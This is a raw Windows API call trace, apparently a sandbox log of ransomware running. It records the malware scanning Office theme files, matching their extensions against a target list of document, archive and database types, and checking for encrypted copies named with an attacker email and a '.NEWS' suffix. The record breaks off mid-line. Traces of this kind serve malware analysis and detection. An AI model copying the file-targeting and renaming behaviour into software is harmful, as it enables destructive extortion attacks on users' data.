[0221.259] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0221.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0221.259] lstrlenW (lpString=".zip") returned 4 [0221.259] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0221.259] lstrlenW (lpString=".rar") returned 4 [0221.259] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0221.259] lstrlenW (lpString=".bz2") returned 4 [0221.259] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0221.259] lstrlenW (lpString=".7z") returned 3 [0221.259] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0221.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0221.259] lstrlenW (lpString=".dbf") returned 4 [0221.260] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0221.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0221.260] lstrlenW (lpString=".1cd") returned 4 [0221.260] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0221.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0221.260] lstrlenW (lpString=".jpg") returned 4 [0221.260] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0221.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0221.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0221.261] lstrlenW (lpString=".doc") returned 4 [0221.261] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0221.261] lstrlenW (lpString=".docx") returned 5 [0221.261] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0221.261] lstrlenW (lpString=".pdf") returned 4 [0221.261] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0221.261] lstrlenW (lpString=".xls") returned 4 [0221.261] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0221.261] lstrlenW (lpString=".xlsx") returned 5 [0221.261] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0221.261] lstrlenW (lpString=".ppt") returned 4 [0221.262] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0221.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0221.262] lstrlenW (lpString=".zip") returned 4 [0221.262] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0221.262] lstrlenW (lpString=".rar") returned 4 [0221.262] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0221.262] lstrlenW (lpString=".bz2") returned 4 [0221.262] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0221.262] lstrlenW (lpString=".7z") returned 3 [0221.262] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0221.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0221.262] lstrlenW (lpString=".dbf") returned 4 [0221.262] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0221.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0221.263] lstrlenW (lpString=".1cd") returned 4 [0221.263] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0221.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0221.264] lstrlenW (lpString=".jpg") returned 4 [0221.264] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0221.264] lstrcmpiW (lpString1=".ELM", lpString2=".NEWS") returned -1 [0221.264] lstrlenW (lpString="CANYON.ELM") returned 10 [0221.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0221.268] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=44745) returned 1 [0221.268] CloseHandle (hObject=0x394) returned 1 [0221.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm")) returned 0x20 [0221.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0221.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0221.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0221.269] lstrlenW (lpString=".doc") returned 4 [0221.269] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0221.269] lstrlenW (lpString=".docx") returned 5 [0221.269] lstrcmpiW (lpString1=".docx", lpString2="N.ELM") returned -1 [0221.269] lstrlenW (lpString=".pdf") returned 4 [0221.269] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0221.270] lstrlenW (lpString=".xls") returned 4 [0221.270] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0221.270] lstrlenW (lpString=".xlsx") returned 5 [0221.270] lstrcmpiW (lpString1=".xlsx", lpString2="N.ELM") returned -1 [0221.270] lstrlenW (lpString=".ppt") returned 4 [0221.270] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0221.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0221.270] lstrlenW (lpString=".zip") returned 4 [0221.270] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0221.270] lstrlenW (lpString=".rar") returned 4 [0221.270] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0221.270] lstrlenW (lpString=".bz2") returned 4 [0221.271] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0221.271] lstrlenW (lpString=".7z") returned 3 [0221.271] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0221.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0221.271] lstrlenW (lpString=".dbf") returned 4 [0221.271] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0221.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0221.271] lstrlenW (lpString=".1cd") returned 4 [0221.271] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0221.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0221.272] lstrlenW (lpString=".jpg") returned 4 [0221.272] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0221.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0221.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0221.272] lstrlenW (lpString=".doc") returned 4 [0221.272] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0221.272] lstrlenW (lpString=".docx") returned 5 [0221.272] lstrcmpiW (lpString1=".docx", lpString2="N.ELM") returned -1 [0221.272] lstrlenW (lpString=".pdf") returned 4 [0221.272] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0221.273] lstrlenW (lpString=".xls") returned 4 [0221.273] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0221.273] lstrlenW (lpString=".xlsx") returned 5 [0221.273] lstrcmpiW (lpString1=".xlsx", lpString2="N.ELM") returned -1 [0221.273] lstrlenW (lpString=".ppt") returned 4 [0221.273] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0221.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0221.273] lstrlenW (lpString=".zip") returned 4 [0221.273] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0221.273] lstrlenW (lpString=".rar") returned 4 [0221.273] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0221.274] lstrlenW (lpString=".bz2") returned 4 [0221.274] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0221.274] lstrlenW (lpString=".7z") returned 3 [0221.274] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0221.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0221.274] lstrlenW (lpString=".dbf") returned 4 [0221.274] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0221.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0221.274] lstrlenW (lpString=".1cd") returned 4 [0221.274] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0221.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0221.274] lstrlenW (lpString=".jpg") returned 4 [0221.275] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0221.275] lstrcmpiW (lpString1=".INF", lpString2=".NEWS") returned -1 [0221.276] lstrlenW (lpString="CANYON.INF") returned 10 [0221.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0221.531] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=465) returned 1 [0221.531] CloseHandle (hObject=0x390) returned 1 [0221.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf")) returned 0x20 [0221.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0221.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0221.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0221.532] lstrlenW (lpString=".doc") returned 4 [0221.532] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0221.532] lstrlenW (lpString=".docx") returned 5 [0221.532] lstrcmpiW (lpString1=".docx", lpString2="N.INF") returned -1 [0221.532] lstrlenW (lpString=".pdf") returned 4 [0221.532] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0221.532] lstrlenW (lpString=".xls") returned 4 [0221.533] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0221.533] lstrlenW (lpString=".xlsx") returned 5 [0221.533] lstrcmpiW (lpString1=".xlsx", lpString2="N.INF") returned -1 [0221.533] lstrlenW (lpString=".ppt") returned 4 [0221.533] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0221.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0221.533] lstrlenW (lpString=".zip") returned 4 [0221.533] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0221.533] lstrlenW (lpString=".rar") returned 4 [0221.533] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0221.533] lstrlenW (lpString=".bz2") returned 4 [0221.533] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0221.533] lstrlenW (lpString=".7z") returned 3 [0221.533] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0221.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0221.534] lstrlenW (lpString=".dbf") returned 4 [0221.534] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0221.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0221.534] lstrlenW (lpString=".1cd") returned 4 [0221.534] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0221.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0221.534] lstrlenW (lpString=".jpg") returned 4 [0221.534] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0221.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0221.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0221.535] lstrlenW (lpString=".doc") returned 4 [0221.535] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0221.535] lstrlenW (lpString=".docx") returned 5 [0221.535] lstrcmpiW (lpString1=".docx", lpString2="N.INF") returned -1 [0221.535] lstrlenW (lpString=".pdf") returned 4 [0221.535] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0221.535] lstrlenW (lpString=".xls") returned 4 [0221.535] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0221.535] lstrlenW (lpString=".xlsx") returned 5 [0221.535] lstrcmpiW (lpString1=".xlsx", lpString2="N.INF") returned -1 [0221.535] lstrlenW (lpString=".ppt") returned 4 [0221.535] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0221.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0221.536] lstrlenW (lpString=".zip") returned 4 [0221.536] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0221.536] lstrlenW (lpString=".rar") returned 4 [0221.536] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0221.536] lstrlenW (lpString=".bz2") returned 4 [0221.536] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0221.536] lstrlenW (lpString=".7z") returned 3 [0221.536] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0221.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0221.536] lstrlenW (lpString=".dbf") returned 4 [0221.536] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0221.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0221.537] lstrlenW (lpString=".1cd") returned 4 [0221.537] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0221.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0221.537] lstrlenW (lpString=".jpg") returned 4 [0221.537] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0221.825] lstrcmpiW (lpString1=".INF", lpString2=".NEWS") returned -1 [0221.826] lstrlenW (lpString="COMPASS.INF") returned 11 [0221.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0221.999] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=486) returned 1 [0222.000] CloseHandle (hObject=0x39c) returned 1 [0222.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf")) returned 0x20 [0222.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0222.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0222.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0222.737] lstrlenW (lpString=".doc") returned 4 [0222.737] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0222.737] lstrlenW (lpString=".docx") returned 5 [0222.737] lstrcmpiW (lpString1=".docx", lpString2="S.INF") returned -1 [0222.737] lstrlenW (lpString=".pdf") returned 4 [0222.737] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0222.737] lstrlenW (lpString=".xls") returned 4 [0222.737] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0222.737] lstrlenW (lpString=".xlsx") returned 5 [0222.737] lstrcmpiW (lpString1=".xlsx", lpString2="S.INF") returned -1 [0222.738] lstrlenW (lpString=".ppt") returned 4 [0222.738] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0222.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0222.738] lstrlenW (lpString=".zip") returned 4 [0222.738] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0222.738] lstrlenW (lpString=".rar") returned 4 [0222.738] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0222.738] lstrlenW (lpString=".bz2") returned 4 [0222.738] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0222.738] lstrlenW (lpString=".7z") returned 3 [0222.738] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0222.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0222.739] lstrlenW (lpString=".dbf") returned 4 [0222.739] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0222.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0222.739] lstrlenW (lpString=".1cd") returned 4 [0222.739] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0222.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0222.739] lstrlenW (lpString=".jpg") returned 4 [0222.739] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0222.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0222.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0222.739] lstrlenW (lpString=".doc") returned 4 [0222.740] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0222.740] lstrlenW (lpString=".docx") returned 5 [0222.740] lstrcmpiW (lpString1=".docx", lpString2="S.INF") returned -1 [0222.740] lstrlenW (lpString=".pdf") returned 4 [0222.740] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0222.740] lstrlenW (lpString=".xls") returned 4 [0222.740] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0222.740] lstrlenW (lpString=".xlsx") returned 5 [0222.740] lstrcmpiW (lpString1=".xlsx", lpString2="S.INF") returned -1 [0222.740] lstrlenW (lpString=".ppt") returned 4 [0222.740] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0222.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0222.741] lstrlenW (lpString=".zip") returned 4 [0222.741] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0222.741] lstrlenW (lpString=".rar") returned 4 [0222.741] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0222.741] lstrlenW (lpString=".bz2") returned 4 [0222.741] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0222.741] lstrlenW (lpString=".7z") returned 3 [0222.741] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0222.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0222.741] lstrlenW (lpString=".dbf") returned 4 [0222.741] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0222.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0222.741] lstrlenW (lpString=".1cd") returned 4 [0222.742] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0222.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0222.742] lstrlenW (lpString=".jpg") returned 4 [0222.742] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0222.742] lstrcmpiW (lpString1=".ELM", lpString2=".NEWS") returned -1 [0222.742] lstrlenW (lpString="DEEPBLUE.ELM") returned 12 [0222.742] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0222.761] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=71388) returned 1 [0222.761] CloseHandle (hObject=0x39c) returned 1 [0222.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm")) returned 0x20 [0222.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0222.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0222.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0222.762] lstrlenW (lpString=".doc") returned 4 [0222.762] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0222.762] lstrlenW (lpString=".docx") returned 5 [0222.762] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0222.762] lstrlenW (lpString=".pdf") returned 4 [0222.762] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0222.763] lstrlenW (lpString=".xls") returned 4 [0222.763] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0222.763] lstrlenW (lpString=".xlsx") returned 5 [0222.763] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0222.763] lstrlenW (lpString=".ppt") returned 4 [0222.763] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0222.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0222.763] lstrlenW (lpString=".zip") returned 4 [0222.763] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0222.763] lstrlenW (lpString=".rar") returned 4 [0222.763] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0222.763] lstrlenW (lpString=".bz2") returned 4 [0222.763] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0222.764] lstrlenW (lpString=".7z") returned 3 [0222.764] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0222.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0222.764] lstrlenW (lpString=".dbf") returned 4 [0222.764] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0222.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0222.764] lstrlenW (lpString=".1cd") returned 4 [0222.764] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0222.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0222.764] lstrlenW (lpString=".jpg") returned 4 [0222.764] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0222.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0222.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0222.765] lstrlenW (lpString=".doc") returned 4 [0222.765] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0222.765] lstrlenW (lpString=".docx") returned 5 [0222.765] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0222.765] lstrlenW (lpString=".pdf") returned 4 [0222.765] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0222.765] lstrlenW (lpString=".xls") returned 4 [0222.765] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0222.765] lstrlenW (lpString=".xlsx") returned 5 [0222.765] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned 